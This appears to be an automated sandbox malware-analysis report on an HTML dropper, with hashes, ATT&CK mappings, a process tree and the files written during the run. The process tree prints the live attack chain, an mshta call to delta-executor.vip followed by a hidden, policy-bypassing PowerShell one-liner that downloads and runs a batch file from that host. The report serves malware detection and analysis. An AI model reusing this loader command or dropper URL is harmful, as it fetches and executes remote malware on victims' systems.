8dd93b9fe77a5bf47679409896a1285e07f6fa2c96ef47625df55ab2dd752404

Analysis

user interaction
yes
max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/09/2026, 10:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sample.html
Size 292KB
Sample260905-mft8vsap4s
SHA256 8dd93b9fe77a5bf47679409896a1285e07f6fa2c96ef47625df55ab2dd752404
MD5 8ae2e08d63b6c888eba004aa553d8079
SHA1 b59d7ac0c346c0838dcce311d82977809da80d6a
SHA512 0be6a56203ecf4f27b5921a3f1d33e776c9b5e86ca5ec54a34f33b87cfde0c7e467d915c384b7f1099ee7468aa2cb131d1f4c85bc19252d225bab06ca0367dfd
SSDEEP 3072:mKwh1zq0SSAIEm6oM1lM17Fg3rhb4lTE4IRWXvhy5v0gXA:mKwh1zq9ZIEm6K17FQhcS4IGi0gw
TLSH
T170545B766210713BB423DDA0A2BE6F0D3C35E167DC0A86F8A595E930CFE2EB2151935D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://delta-executor.vip

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
83	6048	mshta.exe
84	6048	mshta.exe
85	5520	powershell.exe
86	5520	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5520	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
86	5520	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1276	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1760	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134330775058244462"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{5B8379A1-597E-4408-9326-82A9FB3F08B7}	msedge.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2824	msedge.exe
2824	msedge.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid
4
4

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5520	powershell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe

Suspicious use of SendNotifyMessage 18 IoCs

pid	Process
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe
1536	msedge.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 1536 wrote to memory of 4372	1536	msedge.exe	89
PID 1536 wrote to memory of 1760	1536	msedge.exe	90
PID 1536 wrote to memory of 1304	1536	msedge.exe	92
PID 1536 wrote to memory of 3288	1536	msedge.exe	93
PID 1536 wrote to memory of 3288	1536	msedge.exe	93
PID 1536 wrote to memory of 1304	1536	msedge.exe	92
PID 1536 wrote to memory of 1304	1536	msedge.exe	92
PID 1536 wrote to memory of 3564	1536	msedge.exe	94
PID 1536 wrote to memory of 3892	1536	msedge.exe	95
PID 1536 wrote to memory of 3564	1536	msedge.exe	94
PID 1536 wrote to memory of 3564	1536	msedge.exe	94
PID 1536 wrote to memory of 3892	1536	msedge.exe	95
PID 1536 wrote to memory of 3892	1536	msedge.exe	95
PID 1536 wrote to memory of 5760	1536	msedge.exe	96
PID 1536 wrote to memory of 3420	1536	msedge.exe	97
PID 1536 wrote to memory of 5760	1536	msedge.exe	96
PID 1536 wrote to memory of 5760	1536	msedge.exe	96
PID 1536 wrote to memory of 3420	1536	msedge.exe	97
PID 1536 wrote to memory of 3420	1536	msedge.exe	97
PID 1536 wrote to memory of 2376	1536	msedge.exe	100
PID 1536 wrote to memory of 1812	1536	msedge.exe	99
PID 1536 wrote to memory of 2376	1536	msedge.exe	100
PID 1536 wrote to memory of 1812	1536	msedge.exe	99
PID 1536 wrote to memory of 1752	1536	msedge.exe	102
PID 1536 wrote to memory of 2972	1536	msedge.exe	106
PID 1536 wrote to memory of 1120	1536	msedge.exe	107
PID 1536 wrote to memory of 2712	1536	msedge.exe	108
PID 1536 wrote to memory of 908	1536	msedge.exe	109
PID 1536 wrote to memory of 908	1536	msedge.exe	109
PID 1492 wrote to memory of 1400	1492	cmd.exe	114
PID 1536 wrote to memory of 2824	1536	msedge.exe	115
PID 5980 wrote to memory of 6048	5980	cmd.exe	118
PID 6048 wrote to memory of 5428	6048	mshta.exe	119
PID 5428 wrote to memory of 1276	5428	conhost.exe	120
PID 1276 wrote to memory of 5520	1276	cmd.exe	121
PID 1536 wrote to memory of 5924	1536	msedge.exe	122
PID 1536 wrote to memory of 5924	1536	msedge.exe	122

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument C:\Users\Admin\AppData\Local\Temp\sample.html
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x328,0x7ff9fc45c188,0x7ff9fc45c194,0x7ff9fc45c1a0
  2⤵
  PID:4372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1840,i,3091249641362454801,16001120660988268421,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=2448 /prefetch:11
  2⤵
  - System Time Discovery
  PID:1760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,16903048784693922520,16921881943868900470,262144 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=2168 /prefetch:2
  2⤵
  PID:1304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2248,i,3261973354520175624,15763188534988032289,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:13
  2⤵
  PID:3288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3544,i,8057075182617645063,8188302067845375208,2097152 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
  2⤵
  PID:3564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3548,i,716480210133184583,3725843519606403437,2097152 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
  2⤵
  PID:3892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4352,i,8695451708365399305,9168729227980694746,2097152 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:1
  2⤵
  PID:5760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4396,i,4820055420925671565,18164472576984392852,2097152 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=4384 /prefetch:9
  2⤵
  PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,17523580421238202382,7557895129457690921,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:14
  2⤵
  PID:1812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,7842057968048814542,14070187401816944685,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
  2⤵
  PID:2376
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5996,i,10932154534928520075,384506547825181709,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=6012 /prefetch:14
  2⤵
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5996,i,10932154534928520075,384506547825181709,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=6012 /prefetch:14
  2⤵
  PID:1752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,8327364795355809448,3358969922321871443,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:14
  2⤵
  PID:2972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4804,i,10813259907504133430,10646777555111262663,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=6584 /prefetch:14
  2⤵
  PID:1120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6576,i,5942239621543511957,11939555570570936299,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=4416 /prefetch:14
  2⤵
  PID:2712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5576,i,11808213081661852725,6495428624606561108,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=6684 /prefetch:14
  2⤵
  PID:908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6840,i,12407547305479908575,9543852492249961550,262144 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=6848 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5776,i,12006943489590226608,10092498265393328363,524288 --field-trial-handle=2176,i,18101680551637169679,5914266966689575344,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
  2⤵
  PID:5924

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5420

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3128

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Windows\system32\mshta.exe
  mshta
  2⤵
  PID:1400

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5980
- C:\Windows\system32\mshta.exe
  mshta https://delta-executor.vip
  2⤵
  - Badlisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:6048
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" --headless cmd.exe /c powershell.exe -w h -ep bypass -c "$t=Join-Path $env:TEMP 'curl.bat';Invoke-WebRequest -Uri 'http://delta-executor.vip/x.bat' -OutFile $t -UseBasicParsing;if(Test-Path $t){& conhost.exe --headless cmd.exe /c $t}"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5428
  - - C:\Windows\System32\cmd.exe
      cmd.exe /c powershell.exe -w h -ep bypass -c "$t=Join-Path $env:TEMP 'curl.bat';Invoke-WebRequest -Uri 'http://delta-executor.vip/x.bat' -OutFile $t -UseBasicParsing;if(Test-Path $t){& conhost.exe --headless cmd.exe /c $t}"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1276
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -w h -ep bypass -c "$t=Join-Path $env:TEMP 'curl.bat';Invoke-WebRequest -Uri 'http://delta-executor.vip/x.bat' -OutFile $t -UseBasicParsing;if(Test-Path $t){& conhost.exe --headless cmd.exe /c $t}"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 67b546fed422708faf33930b82ff4826bc323bc64f67af30b02bb9e565fa27ee
MD5 04925ec9b8ab191e010732cba0eeefe1
SHA1 a6847bd1b4e86ab3cf9f2a8e109e78b04f51204d
SHA512 25e65b33281d8c58aaf4bad265d912d01bcadd9284dc1ce818ccc1dcf59200f57de5e8d8f4ce5ef6da06c777b54dd4dbee7a3aad7a16da9542538e92104e9c68
TLSH
T1C7D0C0343948E288C9832172DCA033117320007074B147054031B41CCE2049323DF5CF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 1KB
SHA256 61ef47b92a5a57077ee149cb6643cec66c1e6098eea24cd08bced2d324d7a265
MD5 39f555f19223a030d398b7ae2bcef17f
SHA1 77130bb916c6f1a0750c99017ee37e2262e2a020
SHA512 bb0c0fd4d16e996ee73af6d3294e819a2e97ab4fb5ef1e47525ba874297af14f16a17df1edc83e9dfbfbfc331bbef056e54c57be12227871a74d7db9af9cece5
TLSH
T165312394332409EBC7696EF551F48BE7333D8BB94A079E11C58473BE4D72BE5B012028
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 2b95cfd1d3181c70701b1f99631a4ab23636d6eae4aea2315c543acb94afc42b
MD5 dda2b2823a9b00a6d2c445027d568eb4
SHA1 8e7ca99a630a217328cffb46f5e306d321bf2b9a
SHA512 738d18190616c9532a0ab6d9a599e2fbca94ba26d6546c4e584f16ad0e57fa164f2fdc0a0e98e3ab1b912812357cd0b116eb16203b988f5c2529ea478afc76a4
TLSH
T17751ACF7C7E4867E891156F0AB24AE1FCE2D0516432C3C56C9E4AE6BA3F2471E10169F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 8110222aa0d31b9508df8421927419c9bd70b76d1189ba7073303011d7b80902
MD5 ac4cce844cbf64d1b90eeff6fd9fe259
SHA1 55a3c6201409cadc9df9f5ef9e7ce4183ddc0f5d
SHA512 f96873b09ec0f7388debed8ff763029a5e8c5e9a36586112657653321b4e8bda9eb5b58af302458e5d76de5b693e7f1f2b68e6737055e38533e03cfff2b00d5d
SSDEEP 192:sxRkRabL/f2sbAEO/tEzoA8p41/g6+WNIYZ7PqXsKGxIgDNJ:sxRkeL/f2sbAfllc/5IcLz
TLSH
T14832B616A928A93B9CCBD31DFB55BF53D2F95032A1D41E48ABFC861C04E7ACD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 55a4d8995bf5e52870a052b9430240623617c26002d2fcda11e210cc9f27a93e
MD5 017fcd3bb989f5ec922476632f340354
SHA1 605f4291196a66454c63eb8156d8fff82d790413
SHA512 4e0a378165aa83600d8860f600e50b01db236226f6f6fbb9c559e009b1aa64b8393cb0c7a34e20677532c0a0290613e36dfe6f005483a9d90883e4189ecf86a7
SSDEEP 192:sxRbRabL/f2sMEO/tEzoA8p41/g6+WNIYZ7PqXsKGxIgIJ:sxRbeL/f2sMfllc/5IcLs
TLSH
T1E432B7166928A93B9CCBD35DFB55BF53E2F95032A1D41E48ABFC861C04E7ADD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 657ab22fbba9aa3affccda9dfea7555c39b365337604976723fdd97b74db3fd0
MD5 6e09d3db674ef52df14804d5f66be465
SHA1 fd492c68df1cc86ce5cb5e929e5762b3f43ae84e
SHA512 ab4a0b7095a7d84cbd546f97453f5273996ff96a267616098b3809e3819deb77bc5b6efe58250533fd9cc6ca4cf79a734cce68fde1e161b424dc2d8e8ac73a6d
SSDEEP 192:sxRkRabL/f2sbA+O/tEzoA8p41/g6+WNIYZ7P/0RsKGxIgDjJ:sxRkeL/f2sbARllc/5IiJLx
TLSH
T15C42A616A968A93B9CCBD35DFB55BF53E2F95032A1D41E48ABFC861C04E7ACD120740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 23KB
SHA256 4ef67de286e50cd9d92d473325b4406361426fba9f5a075bd142aae198a4e5c6
MD5 0e468b354ade549c317758c9e68da84f
SHA1 fb1ba0fb5dac6cc570ee25d9a56278e2fe5a0c21
SHA512 7cdf7eebf14e49d6fb51d8a00baaddda3a013e9c88f04de30d2858d6e64935dbeb3e1fa0e09a5193c3a5b069a45b6409856f5fc62fefbe7ffd2281c72c0d577f
SSDEEP 384:kyr2SGXfCtgdDFf/bKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVA89VXR6OroOpN:ky2SGvWgd5f/b8F1+UoAYDCx9Tuqh0Vm
TLSH
T1F6B2DB2B604DCB7F9FC01A9DAC196FDA7D9802C797588D4047FE990C03C77EA912A4DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

